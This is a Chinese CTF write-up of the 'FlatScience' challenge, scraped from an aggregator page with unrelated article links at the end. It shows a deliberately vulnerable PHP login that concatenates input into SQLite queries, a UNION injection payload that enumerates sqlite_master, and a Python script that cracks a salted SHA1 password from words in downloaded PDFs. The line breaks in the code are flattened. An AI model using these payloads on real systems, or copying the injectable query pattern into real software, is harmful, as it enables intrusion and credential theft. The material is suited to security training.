当前位置: 首页 > news >正文

【网络安全 | CTF】FlatScience

该题考察SQL注入

正文

后台扫到robots.txt

页面内容如下:

在这里插入图片描述

进入login.php

在这里插入图片描述
页面源代码如图:

在这里插入图片描述
传参debug得到php代码:

在这里插入图片描述

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){$user = $_POST['usr'];$pass = $_POST['pw'];$db = new SQLite3('../fancy.db');$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");if($res){$row = $res->fetchArray();}else{echo "<br>Some Error occourred!";}if(isset($row['id'])){setcookie('name',' '.$row['name'], time() + 60, '/');header("Location: /");die();}}if(isset($_GET['debug']))
highlight_file('login.php');
?> 

pass变量拼接Salz并且经过sha1加密后与password进行比较

所以思路是SQL注入把pass找出来,注意这里的数据库是SQLite数据库

先判断注入点个数:

在这里插入图片描述
在这里插入图片描述

所以注入点个数为2

接着查表名:

' union select 1,name from sqlite_master where type='table'--+

在这里插入图片描述

接着查SQL查询语句:

在这里插入图片描述

CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29

格式化:

在这里插入图片描述

接着利用 limit 进行移位查询

在这里插入图片描述

结果如下:

在这里插入图片描述

推测favword在之前的英文页面中,于是使用kali把页面都下载下来

wget ip -r -np -nd -A .pdf

在这里插入图片描述

接着写脚本,将每个词都与Salz拼接进行加密,看是否匹配3fab54a50e770d830c0416df817567662a9dc85c

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlibdef get_pdf():return [i for i in os.listdir("./") if i.endswith("pdf")]def convert_pdf_2_text(path):rsrcmgr = PDFResourceManager()retstr = StringIO()device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())interpreter = PDFPageInterpreter(rsrcmgr, device)with open(path, 'rb') as fp:for page in PDFPage.get_pages(fp, set()):interpreter.process_page(page)text = retstr.getvalue()device.close()retstr.close()return textdef find_password():pdf_path = get_pdf()for i in pdf_path:print "Searching word in " + ipdf_text = convert_pdf_2_text(i).split(" ")for word in pdf_text:sha1_password = hashlib.sha1(word+"Salz!").hexdigest()if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':print "Find the password :" + wordexit()if __name__ == "__main__":find_password()

得到favword为ThinJerboa,即pass为ThinJerboa

在admin.php传参即可:

在这里插入图片描述

得到flag:

在这里插入图片描述

相关文章:

  • 第一章 前端开发基础html
  • 迭代归并:归并排序非递归实现解析
  • 一起玩儿物联网人工智能小车(ESP32)——21. ESP32的LED PWM控制器说明
  • List常见方法和遍历操作
  • Linux Shell 017-文本行合并工具paste
  • Spring Boot IO官方文档中文版
  • 雨课堂作业整理
  • 几代WiFi有什么差异,它们有什么区别
  • Python---多进程---多线程
  • <JavaEE> TCP 的通信机制(四) -- 流量控制 和 拥塞控制
  • Python 中的运算符介绍(1)
  • 第二节 linux操作系统安装与配置
  • 进阶学习——Linux系统磁盘管理与文件系统
  • 4、内存泄漏检测(多线程)
  • 【网络安全 | Misc】miss_01 太湖杯
  • ES6指北【2】—— 箭头函数
  • 3.7、@ResponseBody 和 @RestController
  • gops —— Go 程序诊断分析工具
  • Invalidate和postInvalidate的区别
  • LeetCode541. Reverse String II -- 按步长反转字符串
  • MyEclipse 8.0 GA 搭建 Struts2 + Spring2 + Hibernate3 (测试)
  • Python连接Oracle
  • Spark in action on Kubernetes - Playground搭建与架构浅析
  • Spring Security中异常上抛机制及对于转型处理的一些感悟
  • springMvc学习笔记(2)
  • UMLCHINA 首席专家潘加宇鼎力推荐
  • Vue.js-Day01
  • 百度贴吧爬虫node+vue baidu_tieba_crawler
  • 浮动相关
  • 如何在 Tornado 中实现 Middleware
  • 入手阿里云新服务器的部署NODE
  • CMake 入门1/5:基于阿里云 ECS搭建体验环境
  • Play Store发现SimBad恶意软件,1.5亿Android用户成受害者 ...
  • ​2020 年大前端技术趋势解读
  • ​如何使用ArcGIS Pro制作渐变河流效果
  • # 数据结构
  • #if 1...#endif
  • #include到底该写在哪
  • (C语言)输入自定义个数的整数,打印出最大值和最小值
  • (解决办法)ASP.NET导出Excel,打开时提示“您尝试打开文件'XXX.xls'的格式与文件扩展名指定文件不一致
  • (三)c52学习之旅-点亮LED灯
  • (深入.Net平台的软件系统分层开发).第一章.上机练习.20170424
  • (十一)c52学习之旅-动态数码管
  • .NET 材料检测系统崩溃分析
  • .Net 路由处理厉害了
  • .NET/C# 获取一个正在运行的进程的命令行参数
  • .NET成年了,然后呢?
  • .net通用权限框架B/S (三)--MODEL层(2)
  • @JsonFormat与@DateTimeFormat注解的使用
  • @Transactional注解下,循环取序列的值,但得到的值都相同的问题
  • [ACM] hdu 1201 18岁生日
  • [android学习笔记]学习jni编程
  • [Angular] 笔记 16:模板驱动表单 - 选择框与选项
  • [BetterExplained]书写是为了更好的思考(转载)
  • [C#]猫叫人醒老鼠跑 C#的委托及事件